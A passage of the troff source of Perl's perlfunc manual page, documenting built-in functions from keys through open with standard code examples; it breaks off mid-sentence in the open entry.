\& print pop(@keys), '=', pop(@values), "\en";
\& }
.Ve
.Sp
or how about sorted by key:
.Sp
.Vb 3
\& foreach $key (sort(keys %ENV)) {
\& print $key, '=', $ENV{$key}, "\en";
\& }
.Ve
.Sp
The returned values are copies of the original keys in the hash, so
modifying them will not affect the original hash. Compare \*(L"values\*(R".
.Sp
To sort a hash by value, you'll need to use a \f(CW\*(C`sort\*(C'\fR function.
Here's a descending numeric sort of a hash by its values:
.Sp
.Vb 3
\& foreach $key (sort { $hash{$b} <=> $hash{$a} } keys %hash) {
\& printf "%4d %s\en", $hash{$key}, $key;
\& }
.Ve
.Sp
As an lvalue \f(CW\*(C`keys\*(C'\fR allows you to increase the number of hash buckets
allocated for the given hash. This can gain you a measure of efficiency if
you know the hash is going to get big. (This is similar to pre-extending
an array by assigning a larger number to $#array.) If you say
.Sp
.Vb 1
\& keys %hash = 200;
.Ve
.Sp
then \f(CW%hash\fR will have at least 200 buckets allocated for it\-\-256 of them,
in fact, since it rounds up to the next power of two. These
buckets will be retained even if you do \f(CW\*(C`%hash = ()\*(C'\fR, use \f(CW\*(C`undef
%hash\*(C'\fR if you want to free the storage while \f(CW%hash\fR is still in scope.
You can't shrink the number of buckets allocated for the hash using
\&\f(CW\*(C`keys\*(C'\fR in this way (but you needn't worry about doing this by accident,
as trying has no effect).
.Sp
See also \f(CW\*(C`each\*(C'\fR, \f(CW\*(C`values\*(C'\fR and \f(CW\*(C`sort\*(C'\fR.
.IP "kill \s-1SIGNAL\s0, \s-1LIST\s0" 8
.IX Item "kill SIGNAL, LIST"
Sends a signal to a list of processes. Returns the number of
processes successfully signaled (which is not necessarily the
same as the number actually killed).
.Sp
.Vb 2
\& $cnt = kill 1, $child1, $child2;
\& kill 9, @goners;
.Ve
.Sp
If \s-1SIGNAL\s0 is zero, no signal is sent to the process. This is a
useful way to check that a child process is alive and hasn't changed
its \s-1UID\s0. See perlport for notes on the portability of this
construct.
.Sp
Unlike in the shell, if \s-1SIGNAL\s0 is negative, it kills
process groups instead of processes. (On System V, a negative \fI\s-1PROCESS\s0\fR
number will also kill process groups, but that's not portable.) That
means you usually want to use positive not negative signals. You may also
use a signal name in quotes.
.Sp
See \*(L"Signals\*(R" in perlipc for more details.
.IP "last \s-1LABEL\s0" 8
.IX Item "last LABEL"
.PD 0
.IP "last" 8
.IX Item "last"
.PD
The \f(CW\*(C`last\*(C'\fR command is like the \f(CW\*(C`break\*(C'\fR statement in C (as used in
loops); it immediately exits the loop in question. If the \s-1LABEL\s0 is
omitted, the command refers to the innermost enclosing loop. The
\&\f(CW\*(C`continue\*(C'\fR block, if any, is not executed:
.Sp
.Vb 4
\& LINE: while (<STDIN>) {
\& last LINE if /^$/; # exit when done with header
\& #...
\& }
.Ve
.Sp
\&\f(CW\*(C`last\*(C'\fR cannot be used to exit a block which returns a value such as
\&\f(CW\*(C`eval {}\*(C'\fR, \f(CW\*(C`sub {}\*(C'\fR or \f(CW\*(C`do {}\*(C'\fR, and should not be used to exit
a \fIgrep()\fR or \fImap()\fR operation.
.Sp
Note that a block by itself is semantically identical to a loop
that executes once. Thus \f(CW\*(C`last\*(C'\fR can be used to effect an early
exit out of such a block.
.Sp
See also \*(L"continue\*(R" for an illustration of how \f(CW\*(C`last\*(C'\fR, \f(CW\*(C`next\*(C'\fR, and
\&\f(CW\*(C`redo\*(C'\fR work.
.IP "lc \s-1EXPR\s0" 8
.IX Item "lc EXPR"
.PD 0
.IP "lc" 8
.IX Item "lc"
.PD
Returns a lowercased version of \s-1EXPR\s0. This is the internal function
implementing the \f(CW\*(C`\eL\*(C'\fR escape in double-quoted strings. Respects
current \s-1LC_CTYPE\s0 locale if \f(CW\*(C`use locale\*(C'\fR in force. See perllocale
and perlunicode for more details about locale and Unicode support.
.Sp
If \s-1EXPR\s0 is omitted, uses \f(CW$_\fR.
.IP "lcfirst \s-1EXPR\s0" 8
.IX Item "lcfirst EXPR"
.PD 0
.IP "lcfirst" 8
.IX Item "lcfirst"
.PD
Returns the value of \s-1EXPR\s0 with the first character lowercased. This
is the internal function implementing the \f(CW\*(C`\el\*(C'\fR escape in
double-quoted strings. Respects current \s-1LC_CTYPE\s0 locale if \f(CW\*(C`use
locale\*(C'\fR in force. See perllocale and perlunicode for more
details about locale and Unicode support.
.Sp
If \s-1EXPR\s0 is omitted, uses \f(CW$_\fR.
.IP "length \s-1EXPR\s0" 8
.IX Item "length EXPR"
.PD 0
.IP "length" 8
.IX Item "length"
.PD
Returns the length in \fIcharacters\fR of the value of \s-1EXPR\s0. If \s-1EXPR\s0 is
omitted, returns length of \f(CW$_\fR. Note that this cannot be used on
an entire array or hash to find out how many elements these have.
For that, use \f(CW\*(C`scalar @array\*(C'\fR and \f(CW\*(C`scalar keys %hash\*(C'\fR respectively.
.Sp
Note the \fIcharacters\fR: if the \s-1EXPR\s0 is in Unicode, you will get the
number of characters, not the number of bytes. To get the length
in bytes, use \f(CW\*(C`do { use bytes; length(EXPR) }\*(C'\fR, see bytes.
.IP "link \s-1OLDFILE\s0,NEWFILE" 8
.IX Item "link OLDFILE,NEWFILE"
Creates a new filename linked to the old filename. Returns true for
success, false otherwise.
.IP "listen \s-1SOCKET\s0,QUEUESIZE" 8
.IX Item "listen SOCKET,QUEUESIZE"
Does the same thing that the listen system call does. Returns true if
it succeeded, false otherwise. See the example in
\&\*(L"Sockets: Client/Server Communication\*(R" in perlipc.
.IP "local \s-1EXPR\s0" 8
.IX Item "local EXPR"
You really probably want to be using \f(CW\*(C`my\*(C'\fR instead, because \f(CW\*(C`local\*(C'\fR isn't
what most people think of as \*(L"local\*(R". See
\&\*(L"Private Variables via \fImy()\fR\*(R" in perlsub for details.
.Sp
A local modifies the listed variables to be local to the enclosing
block, file, or eval. If more than one value is listed, the list must
be placed in parentheses. See \*(L"Temporary Values via \fIlocal()\fR\*(R" in perlsub
for details, including issues with tied arrays and hashes.
.IP "localtime \s-1EXPR\s0" 8
.IX Item "localtime EXPR"
Converts a time as returned by the time function to a 9\-element list
with the time analyzed for the local time zone. Typically used as
follows:
.Sp
.Vb 3
\& # 0 1 2 3 4 5 6 7 8
\& ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
\& localtime(time);
.Ve
.Sp
All list elements are numeric, and come straight out of the C `struct
tm'. \f(CW$sec\fR, \f(CW$min\fR, and \f(CW$hour\fR are the seconds, minutes, and hours of the
specified time. \f(CW$mday\fR is the day of the month, and \f(CW$mon\fR is the month
itself, in the range \f(CW0..11\fR with 0 indicating January and 11
indicating December. \f(CW$year\fR is the number of years since 1900. That
is, \f(CW$year\fR is \f(CW123\fR in year 2023. \f(CW$wday\fR is the day of the week, with
0 indicating Sunday and 3 indicating Wednesday. \f(CW$yday\fR is the day of
the year, in the range \f(CW0..364\fR (or \f(CW0..365\fR in leap years.) \f(CW$isdst\fR
is true if the specified time occurs during daylight savings time,
false otherwise.
.Sp
Note that the \f(CW$year\fR element is \fInot\fR simply the last two digits of
the year. If you assume it is, then you create non\-Y2K\-compliant
programs\*(--and you wouldn't want to do that, would you?
.Sp
The proper way to get a complete 4\-digit year is simply:
.Sp
.Vb 1
\& $year += 1900;
.Ve
.Sp
And to get the last two digits of the year (e.g., '01' in 2001) do:
.Sp
.Vb 1
\& $year = sprintf("%02d", $year % 100);
.Ve
.Sp
If \s-1EXPR\s0 is omitted, \f(CW\*(C`localtime()\*(C'\fR uses the current time (\f(CW\*(C`localtime(time)\*(C'\fR).
.Sp
In scalar context, \f(CW\*(C`localtime()\*(C'\fR returns the \fIctime\fR\|(3) value:
.Sp
.Vb 1
\& $now_string = localtime; # e.g., "Thu Oct 13 04:54:34 1994"
.Ve
.Sp
This scalar value is \fBnot\fR locale dependent, see perllocale, but
instead a Perl builtin. Also see the \f(CW\*(C`Time::Local\*(C'\fR module
(to convert the second, minutes, hours, ... back to seconds since the
stroke of midnight the 1st of January 1970, the value returned by
\&\fItime()\fR), and the \fIstrftime\fR\|(3) and \fImktime\fR\|(3) functions available via the
\&\s-1POSIX\s0 module. To get somewhat similar but locale dependent date
strings, set up your locale environment variables appropriately
(please see perllocale) and try for example:
.Sp
.Vb 2
\& use POSIX qw(strftime);
\& $now_string = strftime "%a %b %e %H:%M:%S %Y", localtime;
.Ve
.Sp
Note that the \f(CW%a\fR and \f(CW%b\fR, the short forms of the day of the week
and the month of the year, may not necessarily be three characters wide.
.IP "lock \s-1THING\s0" 8
.IX Item "lock THING"
This function places an advisory lock on a shared variable, or referenced
object contained in \fI\s-1THING\s0\fR until the lock goes out of scope.
.Sp
\&\fIlock()\fR is a \*(L"weak keyword\*(R" : this means that if you've defined a function
by this name (before any calls to it), that function will be called
instead. (However, if you've said \f(CW\*(C`use threads\*(C'\fR, \fIlock()\fR is always a
keyword.) See threads.
.IP "log \s-1EXPR\s0" 8
.IX Item "log EXPR"
.PD 0
.IP "log" 8
.IX Item "log"
.PD
Returns the natural logarithm (base \fIe\fR) of \s-1EXPR\s0. If \s-1EXPR\s0 is omitted,
returns log of \f(CW$_\fR. To get the log of another base, use basic algebra:
The base-N log of a number is equal to the natural log of that number
divided by the natural log of N. For example:
.Sp
.Vb 4
\& sub log10 {
\& my $n = shift;
\& return log($n)/log(10);
\& }
.Ve
.Sp
See also \*(L"exp\*(R" for the inverse operation.
.IP "lstat \s-1EXPR\s0" 8
.IX Item "lstat EXPR"
.PD 0
.IP "lstat" 8
.IX Item "lstat"
.PD
Does the same thing as the \f(CW\*(C`stat\*(C'\fR function (including setting the
special \f(CW\*(C`_\*(C'\fR filehandle) but stats a symbolic link instead of the file
the symbolic link points to. If symbolic links are unimplemented on
your system, a normal \f(CW\*(C`stat\*(C'\fR is done. For much more detailed
information, please see the documentation for \*(L"stat\*(R".
.Sp
If \s-1EXPR\s0 is omitted, stats \f(CW$_\fR.
.IP "m//" 8
.IX Item "m//"
The match operator. See perlop.
.IP "map \s-1BLOCK\s0 \s-1LIST\s0" 8
.IX Item "map BLOCK LIST"
.PD 0
.IP "map \s-1EXPR\s0,LIST" 8
.IX Item "map EXPR,LIST"
.PD
Evaluates the \s-1BLOCK\s0 or \s-1EXPR\s0 for each element of \s-1LIST\s0 (locally setting
\&\f(CW$_\fR to each element) and returns the list value composed of the
results of each such evaluation. In scalar context, returns the
total number of elements so generated. Evaluates \s-1BLOCK\s0 or \s-1EXPR\s0 in
list context, so each element of \s-1LIST\s0 may produce zero, one, or
more elements in the returned value.
.Sp
.Vb 1
\& @chars = map(chr, @nums);
.Ve
.Sp
translates a list of numbers to the corresponding characters. And
.Sp
.Vb 1
\& %hash = map { getkey($_) => $_ } @array;
.Ve
.Sp
is just a funny way to write
.Sp
.Vb 4
\& %hash = ();
\& foreach $_ (@array) {
\& $hash{getkey($_)} = $_;
\& }
.Ve
.Sp
Note that \f(CW$_\fR is an alias to the list value, so it can be used to
modify the elements of the \s-1LIST\s0. While this is useful and supported,
it can cause bizarre results if the elements of \s-1LIST\s0 are not variables.
Using a regular \f(CW\*(C`foreach\*(C'\fR loop for this purpose would be clearer in
most cases. See also \*(L"grep\*(R" for an array composed of those items of
the original list for which the \s-1BLOCK\s0 or \s-1EXPR\s0 evaluates to true.
.Sp
\&\f(CW\*(C`{\*(C'\fR starts both hash references and blocks, so \f(CW\*(C`map { ...\*(C'\fR could be either
the start of map \s-1BLOCK\s0 \s-1LIST\s0 or map \s-1EXPR\s0, \s-1LIST\s0. Because perl doesn't look
ahead for the closing \f(CW\*(C`}\*(C'\fR it has to take a guess at which its dealing with
based what it finds just after the \f(CW\*(C`{\*(C'\fR. Usually it gets it right, but if it
doesn't it won't realize something is wrong until it gets to the \f(CW\*(C`}\*(C'\fR and
encounters the missing (or unexpected) comma. The syntax error will be
reported close to the \f(CW\*(C`}\*(C'\fR but you'll need to change something near the \f(CW\*(C`{\*(C'\fR
such as using a unary \f(CW\*(C`+\*(C'\fR to give perl some help:
.Sp
.Vb 5
\& %hash = map { "\eL$_", 1 } @array # perl guesses EXPR. wrong
\& %hash = map { +"\eL$_", 1 } @array # perl guesses BLOCK. right
\& %hash = map { ("\eL$_", 1) } @array # this also works
\& %hash = map { lc($_), 1 } @array # as does this.
\& %hash = map +( lc($_), 1 ), @array # this is EXPR and works!
.Ve
.Sp
.Vb 1
\& %hash = map ( lc($_), 1 ), @array # evaluates to (1, @array)
.Ve
.Sp
or to force an anon hash constructor use \f(CW\*(C`+{\*(C'\fR
.Sp
.Vb 1
\& @hashes = map +{ lc($_), 1 }, @array # EXPR, so needs , at end
.Ve
.Sp
and you get list of anonymous hashes each with only 1 entry.
.IP "mkdir \s-1FILENAME\s0,MASK" 8
.IX Item "mkdir FILENAME,MASK"
.PD 0
.IP "mkdir \s-1FILENAME\s0" 8
.IX Item "mkdir FILENAME"
.PD
Creates the directory specified by \s-1FILENAME\s0, with permissions
specified by \s-1MASK\s0 (as modified by \f(CW\*(C`umask\*(C'\fR). If it succeeds it
returns true, otherwise it returns false and sets \f(CW$!\fR (errno).
If omitted, \s-1MASK\s0 defaults to 0777.
.Sp
In general, it is better to create directories with permissive \s-1MASK\s0,
and let the user modify that with their \f(CW\*(C`umask\*(C'\fR, than it is to supply
a restrictive \s-1MASK\s0 and give the user no way to be more permissive.
The exceptions to this rule are when the file or directory should be
kept private (mail files, for instance). The \fIperlfunc\fR\|(1) entry on
\&\f(CW\*(C`umask\*(C'\fR discusses the choice of \s-1MASK\s0 in more detail.
.Sp
Note that according to the \s-1POSIX\s0 1003.1\-1996 the \s-1FILENAME\s0 may have any
number of trailing slashes. Some operating and filesystems do not get
this right, so Perl automatically removes all trailing slashes to keep
everyone happy.
.IP "msgctl \s-1ID\s0,CMD,ARG" 8
.IX Item "msgctl ID,CMD,ARG"
Calls the System V \s-1IPC\s0 function \fImsgctl\fR\|(2). You'll probably have to say
.Sp
.Vb 1
\& use IPC::SysV;
.Ve
.Sp
first to get the correct constant definitions. If \s-1CMD\s0 is \f(CW\*(C`IPC_STAT\*(C'\fR,
then \s-1ARG\s0 must be a variable which will hold the returned \f(CW\*(C`msqid_ds\*(C'\fR
structure. Returns like \f(CW\*(C`ioctl\*(C'\fR: the undefined value for error,
\&\f(CW"0 but true"\fR for zero, or the actual return value otherwise. See also
\&\*(L"SysV \s-1IPC\s0\*(R" in perlipc, \f(CW\*(C`IPC::SysV\*(C'\fR, and \f(CW\*(C`IPC::Semaphore\*(C'\fR documentation.
.IP "msgget \s-1KEY\s0,FLAGS" 8
.IX Item "msgget KEY,FLAGS"
Calls the System V \s-1IPC\s0 function \fImsgget\fR\|(2). Returns the message queue
id, or the undefined value if there is an error. See also
\&\*(L"SysV \s-1IPC\s0\*(R" in perlipc and \f(CW\*(C`IPC::SysV\*(C'\fR and \f(CW\*(C`IPC::Msg\*(C'\fR documentation.
.IP "msgrcv \s-1ID\s0,VAR,SIZE,TYPE,FLAGS" 8
.IX Item "msgrcv ID,VAR,SIZE,TYPE,FLAGS"
Calls the System V \s-1IPC\s0 function msgrcv to receive a message from
message queue \s-1ID\s0 into variable \s-1VAR\s0 with a maximum message size of
\&\s-1SIZE\s0. Note that when a message is received, the message type as a
native long integer will be the first thing in \s-1VAR\s0, followed by the
actual message. This packing may be opened with \f(CW\*(C`unpack("l! a*")\*(C'\fR.
Taints the variable. Returns true if successful, or false if there is
an error. See also \*(L"SysV \s-1IPC\s0\*(R" in perlipc, \f(CW\*(C`IPC::SysV\*(C'\fR, and
\&\f(CW\*(C`IPC::SysV::Msg\*(C'\fR documentation.
.IP "msgsnd \s-1ID\s0,MSG,FLAGS" 8
.IX Item "msgsnd ID,MSG,FLAGS"
Calls the System V \s-1IPC\s0 function msgsnd to send the message \s-1MSG\s0 to the
message queue \s-1ID\s0. \s-1MSG\s0 must begin with the native long integer message
type, and be followed by the length of the actual message, and finally
the message itself. This kind of packing can be achieved with
\&\f(CW\*(C`pack("l! a*", $type, $message)\*(C'\fR. Returns true if successful,
or false if there is an error. See also \f(CW\*(C`IPC::SysV\*(C'\fR
and \f(CW\*(C`IPC::SysV::Msg\*(C'\fR documentation.
.IP "my \s-1EXPR\s0" 8
.IX Item "my EXPR"
.PD 0
.IP "my \s-1TYPE\s0 \s-1EXPR\s0" 8
.IX Item "my TYPE EXPR"
.IP "my \s-1EXPR\s0 : \s-1ATTRS\s0" 8
.IX Item "my EXPR : ATTRS"
.IP "my \s-1TYPE\s0 \s-1EXPR\s0 : \s-1ATTRS\s0" 8
.IX Item "my TYPE EXPR : ATTRS"
.PD
A \f(CW\*(C`my\*(C'\fR declares the listed variables to be local (lexically) to the
enclosing block, file, or \f(CW\*(C`eval\*(C'\fR. If more than one value is listed,
the list must be placed in parentheses.
.Sp
The exact semantics and interface of \s-1TYPE\s0 and \s-1ATTRS\s0 are still
evolving. \s-1TYPE\s0 is currently bound to the use of \f(CW\*(C`fields\*(C'\fR pragma,
and attributes are handled using the \f(CW\*(C`attributes\*(C'\fR pragma, or starting
from Perl 5.8.0 also via the \f(CW\*(C`Attribute::Handlers\*(C'\fR module. See
\&\*(L"Private Variables via \fImy()\fR\*(R" in perlsub for details, and fields,
attributes, and Attribute::Handlers.
.IP "next \s-1LABEL\s0" 8
.IX Item "next LABEL"
.PD 0
.IP "next" 8
.IX Item "next"
.PD
The \f(CW\*(C`next\*(C'\fR command is like the \f(CW\*(C`continue\*(C'\fR statement in C; it starts
the next iteration of the loop:
.Sp
.Vb 4
\& LINE: while (<STDIN>) {
\& next LINE if /^#/; # discard comments
\& #...
\& }
.Ve
.Sp
Note that if there were a \f(CW\*(C`continue\*(C'\fR block on the above, it would get
executed even on discarded lines. If the \s-1LABEL\s0 is omitted, the command
refers to the innermost enclosing loop.
.Sp
\&\f(CW\*(C`next\*(C'\fR cannot be used to exit a block which returns a value such as
\&\f(CW\*(C`eval {}\*(C'\fR, \f(CW\*(C`sub {}\*(C'\fR or \f(CW\*(C`do {}\*(C'\fR, and should not be used to exit
a \fIgrep()\fR or \fImap()\fR operation.
.Sp
Note that a block by itself is semantically identical to a loop
that executes once. Thus \f(CW\*(C`next\*(C'\fR will exit such a block early.
.Sp
See also \*(L"continue\*(R" for an illustration of how \f(CW\*(C`last\*(C'\fR, \f(CW\*(C`next\*(C'\fR, and
\&\f(CW\*(C`redo\*(C'\fR work.
.IP "no Module \s-1VERSION\s0 \s-1LIST\s0" 8
.IX Item "no Module VERSION LIST"
.PD 0
.IP "no Module \s-1VERSION\s0" 8
.IX Item "no Module VERSION"
.IP "no Module \s-1LIST\s0" 8
.IX Item "no Module LIST"
.IP "no Module" 8
.IX Item "no Module"
.PD
See the \f(CW\*(C`use\*(C'\fR function, which \f(CW\*(C`no\*(C'\fR is the opposite of.
.IP "oct \s-1EXPR\s0" 8
.IX Item "oct EXPR"
.PD 0
.IP "oct" 8
.IX Item "oct"
.PD
Interprets \s-1EXPR\s0 as an octal string and returns the corresponding
value. (If \s-1EXPR\s0 happens to start off with \f(CW\*(C`0x\*(C'\fR, interprets it as a
hex string. If \s-1EXPR\s0 starts off with \f(CW\*(C`0b\*(C'\fR, it is interpreted as a
binary string. Leading whitespace is ignored in all three cases.)
The following will handle decimal, binary, octal, and hex in the standard
Perl or C notation:
.Sp
.Vb 1
\& $val = oct($val) if $val =~ /^0/;
.Ve
.Sp
If \s-1EXPR\s0 is omitted, uses \f(CW$_\fR. To go the other way (produce a number
in octal), use \fIsprintf()\fR or \fIprintf()\fR:
.Sp
.Vb 2
\& $perms = (stat("filename"))[2] & 07777;
\& $oct_perms = sprintf "%lo", $perms;
.Ve
.Sp
The \fIoct()\fR function is commonly used when a string such as \f(CW644\fR needs
to be converted into a file mode, for example. (Although perl will
automatically convert strings into numbers as needed, this automatic
conversion assumes base 10.)
.IP "open \s-1FILEHANDLE\s0,EXPR" 8
.IX Item "open FILEHANDLE,EXPR"
.PD 0
.IP "open \s-1FILEHANDLE\s0,MODE,EXPR" 8
.IX Item "open FILEHANDLE,MODE,EXPR"
.IP "open \s-1FILEHANDLE\s0,MODE,EXPR,LIST" 8
.IX Item "open FILEHANDLE,MODE,EXPR,LIST"
.IP "open \s-1FILEHANDLE\s0,MODE,REFERENCE" 8
.IX Item "open FILEHANDLE,MODE,REFERENCE"
.IP "open \s-1FILEHANDLE\s0" 8
.IX Item "open FILEHANDLE"
.PD
Opens the file whose filename is given by \s-1EXPR\s0, and associates it with
\&\s-1FILEHANDLE\s0.
.Sp
(The following is a comprehensive reference to \fIopen()\fR: for a gentler
introduction you may consider perlopentut.)
.Sp
If \s-1FILEHANDLE\s0 is an undefined scalar variable (or array or hash element)
the variable is assigned a reference to a new anonymous filehandle,
otherwise if \s-1FILEHANDLE\s0 is an expression, its value is used as the name of
the real filehandle wanted. (This is considered a symbolic reference, so
\&\f(CW\*(C`use strict 'refs'\*(C'\fR should \fInot\fR be in effect.)
.Sp
If \s-1EXPR\s0 is omitted, the scalar variable of the same name as the
\&\s-1FILEHANDLE\s0 contains the filename. (Note that lexical variables\*(--those
declared with \f(CW\*(C`my\*(C'\fR\-\-will not work for this purpose; so if you're
using \f(CW\*(C`my\*(C'\fR, specify \s-1EXPR\s0 in your call to open.)
.Sp
If three or more arguments are specified then the mode of opening and
the file name are separate. If \s-1MODE\s0 is \f(CW'<'\fR or nothing, the file
is opened for input. If \s-1MODE\s0 is \f(CW'>'\fR, the file is truncated and
opened for output, being created if necessary. If \s-1MODE\s0 is \f(CW'>>'\fR,
the file is opened for appending, again being created if necessary.
.Sp
You can put a \f(CW'+'\fR in front of the \f(CW'>'\fR or \f(CW'<'\fR to
indicate that you want both read and write access to the file; thus
\&\f(CW'+<'\fR is almost always preferred for read/write updates\*(--the \f(CW'+>'\fR mode would clobber the file first. You can't usually use
either read-write mode for updating textfiles, since they have
variable length records. See the \fB\-i\fR switch in perlrun for a
better approach. The file is created with permissions of \f(CW0666\fR
modified by the process' \f(CW\*(C`umask\*(C'\fR value.
.Sp
These various prefixes correspond to the \fIfopen\fR\|(3) modes of \f(CW'r'\fR,
\&\f(CW'r+'\fR, \f(CW'w'\fR, \f(CW'w+'\fR, \f(CW'a'\fR, and \f(CW'a+'\fR.
.Sp
In the 2\-arguments (and 1\-argument) form of the call the mode and
filename should be concatenated (in this order), possibly separated by
spaces. It is possible to omit the mode in these forms if the mode is
\&\f(CW'<'\fR.
.Sp
If the filename begins with \f(CW'|'\fR, the filename is interpreted as a
command to which output is to be piped, and if the filename ends with a
\&\f(CW'|'\fR, the filename is interpreted as a command which pipes output to
us. See \*(L"Using \fIopen()\fR for \s-1IPC\s0\*(R" in perlipc
for more examples of this. (You are not allowed to \f(CW\*(C`open\*(C'\fR to a command
that pipes both in \fIand\fR out, but see IPC::Open2, IPC::Open3,
and \*(L"Bidirectional Communication with Another Process\*(R" in perlipc
for alternatives.)
.Sp
For three or more arguments if \s-1MODE\s0 is \f(CW'|\-'\fR, the filename is
interpreted as a command to which output is to be piped, and if \s-1MODE\s0
is \f(CW'\-|'\fR, the filename is interpreted as a command which pipes
output to us. In the 2\-arguments (and 1\-argument) form one should
replace dash (\f(CW'\-'\fR) with the command.
See \*(L"Using \fIopen()\fR for \s-1IPC\s0\*(R" in perlipc for more examples of this.
(You are not allowed to \f(CW\*(C`open\*(C'\fR to a command that pipes both in \fIand\fR
out, but see IPC::Open2, IPC::Open3, and
\&\*(L"Bidirectional Communication\*(R" in perlipc for alternatives.)
.Sp
In the three-or-more argument form of pipe opens, if \s-1LIST\s0 is specified
(extra arguments after the command name) then \s-1LIST\s0 becomes arguments
to the command invoked if the platform supports it. The meaning of
\&\f(CW\*(C`open\*(C'\fR with more than three arguments for non-pipe modes is not yet
specified. Experimental \*(L"layers\*(R" may give extra \s-1LIST\s0 arguments
meaning.
.Sp
In the 2\-arguments (and 1\-argument) form opening \f(CW'\-'\fR opens \s-1STDIN\s0
and opening \f(CW'>\-'\fR opens \s-1STDOUT\s0.
.Sp
You may use the three-argument form of open to specify \s-1IO\s0 \*(L"layers\*(R"
(sometimes also referred to as \*(L"disciplines\*(R") to be applied to the handle
that affect how the input and output are processed (see open and
PerlIO for more details). For example
.Sp
.Vb 1
\& open(FH, "<:utf8", "file")
.Ve
.Sp
will open the \s-1UTF\-8\s0 encoded file containing Unicode characters,
see perluniintro. (Note that if layers are specified in the
three-arg form then default layers set by the \f(CW\*(C`open\*(C'\fR pragma are
ignored.)
.Sp
Open returns nonzero upon success, the undefined value otherwise. If
the \f(CW\*(C`open\*(C'\fR involved a pipe, the return value happens to be the pid of
the subprocess.
.Sp
If you're running Perl on a system that distinguishes between text
files and binary files, then you should check out \*(L"binmode\*(R" for tips
for dealing with this. The key distinction between systems that need
\&\f(CW\*(C`binmode\*(C'\fR and those that don't is their text file formats. Systems
like Unix, Mac \s-1OS\s0, and Plan 9, which delimit lines with a single
character, and which encode that character in C as \f(CW"\en"\fR, do not
need \f(CW\*(C`binmode\*(C'\fR. The rest need it.
.Sp
When opening a file, it's usually a bad idea to continue normal execution
if the request failed, so \f(CW\*(C`open\*(C'\fR is frequently used in connection with
\&\f(CW\*(C`die\*(C'\fR. Even if \f(CW\*(C`die\*(C'\fR won't do what you want (say, in a \s-1CGI\s0 script,
where you want to make a nicely formatted error message (but there are
modules that can help with that problem)) you should always check
the return value from opening a file. The infrequent exception is when
working with an unopened filehandle is actually what you want to do.
.Sp
As a special case the 3 arg form with a read/write mode and the third
argument being \f(CW\*(C`undef\*(C'\fR:
.Sp
.Vb 1
\& open(TMP, "+>", undef) or die ...
.Ve
.Sp
opens a filehandle to an anonymous temporary file. Also using \*(L"+<\*(R"
works for symmetry, but you really should consider writing something
to the temporary file first. You will need to \fIseek()\fR to do the
reading.
.Sp
File handles can be opened to \*(L"in memory\*(R" files held in Perl scalars via:
.Sp
.Vb 1
\& open($fh, '>', \e$variable) || ..
.Ve
.Sp
Though if you try to re-open \f(CW\*(C`STDOUT\*(C'\fR or \f(CW\*(C`STDERR\*(C'\fR as an \*(L"in memory\*(R"
file, you have to close it first:
.Sp
.Vb 2
\& close STDOUT;
\& open STDOUT, '>', \e$variable or die "Can't open STDOUT: $!";
.Ve
.Sp
Examples:
.Sp
.Vb 3
\& $ARTICLE = 100;
\& open ARTICLE or die "Can't find article $ARTICLE: $!\en";
\& while (<ARTICLE>) {...
.Ve
.Sp
.Vb 2
\& open(LOG, '>>/usr/spool/news/twitlog'); # (log is reserved)
\& # if the open fails, output is discarded
.Ve
.Sp
.Vb 2
\& open(DBASE, '+<', 'dbase.mine') # open for update
\& or die "Can't open 'dbase.mine' for update: $!";
.Ve
.Sp
.Vb 2
\& open(DBASE, '+<dbase.mine') # ditto
\& or die "Can't open 'dbase.mine' for update: $!";
.Ve
.Sp
.Vb 2
\& open(ARTICLE, '-|', "caesar <$article") # decrypt article
\& or die "Can't start caesar: $!";
.Ve
.Sp
.Vb 2
\& open(ARTICLE, "caesar <$article |") # ditto
\& or die "Can't start caesar: $!";
.Ve
.Sp
.Vb 2
\& open(EXTRACT, "|sort >/tmp/Tmp$$") # $$ is our process id
\& or die "Can't start sort: $!";
.Ve
.Sp
.Vb 4
\& # in memory files
\& open(MEMORY,'>', \e$var)
\& or die "Can't open memory file: $!";
\& print MEMORY "foo!\en"; # output will end up in $var
.Ve
.Sp
.Vb 1
\& # process argument list of files along with any includes
.Ve
.Sp
.Vb 3
\& foreach $file (@ARGV) {
\& process($file, 'fh00');
\& }
.Ve
.Sp
.Vb 7
\& sub process {
\& my($filename, $input) = @_;
\& $input++; # this is a string increment
\& unless (open($input, $filename)) {
\& print STDERR "Can't open $filename: $!\en";
\& return;
\& }
.Ve
.Sp
.Vb 9
\& local $_;
\& while (<$input>) { # note use of indirection
\& if (/^#include "(.*)"/) {
\& process($1, $input);
\& next;
\& }
\& #... # whatever
\& }
\& }
.Ve
.Sp
You may also, in the Bourne shell tradition, specify an \s-1EXPR\s0 beginning
with \f(CW'>&'\fR, in which case the rest of the string is interpreted
as the name of a filehandle (or file descriptor, if numeric) to be
duped (as \fIdup\fR\|(2)) and opened. You may use \f(CW\*(C`&\*(C'\fR after \f(CW\*(C`>\*(C'\fR,
\&\f(CW\*(C`>>\*(C'\fR, \f(CW\*(C`<\*(C'\fR, \f(CW\*(C`+>\*(C'\fR, \f(CW\*(C`+>>\*(C'\fR, and \f(CW\*(C`+<\*(C'\fR.
The mode you specify should match the mode of the original filehandle.
(Duping a filehandle does not take into account any existing contents
of \s-1IO\s0 buffers.) If you use the 3 arg form then you can pass either a
number, the name of a filehandle or the normal \*(L"reference to a glob\*(R".
.Sp
Here is a script that saves, redirects, and restores \f(CW\*(C`STDOUT\*(C'\fR and
\&\f(CW\*(C`STDERR\*(C'\fR using various methods:
.Sp
.Vb 3
\& #!/usr/bin/perl
\& open my $oldout, ">&STDOUT" or die "Can't dup STDOUT: $!";
\& open OLDERR, ">&", \e*STDERR or die "Can't dup STDERR: $!";
.Ve
.Sp
.Vb 2
\& open STDOUT, '>', "foo.out" or die "Can't redirect STDOUT: $!";
\& open STDERR, ">&STDOUT" or die "Can't dup STDOUT: $!";
.Ve
.Sp
.Vb 2
\& select STDERR; $| = 1; # make unbuffered
\& select STDOUT; $| = 1; # make unbuffered
.Ve
.Sp
.Vb 2
\& print STDOUT "stdout 1\en"; # this works for
\& print STDERR "stderr 1\en"; # subprocesses too
.Ve
.Sp
.Vb 2
\& close STDOUT;
\& close STDERR;
.Ve
.Sp
.Vb 2
\& open STDOUT, ">&", $oldout or die "Can't dup \e$oldout: $!";
\& open STDERR, ">&OLDERR" or die "Can't dup OLDERR: $!";
.Ve
.Sp
.Vb 2
\& print STDOUT "stdout 2\en";
\& print STDERR "stderr 2\en";
.Ve
.Sp
If you specify \f(CW'<&=X'\fR, where \f(CW\*(C`X\*(C'\fR is a file descriptor number
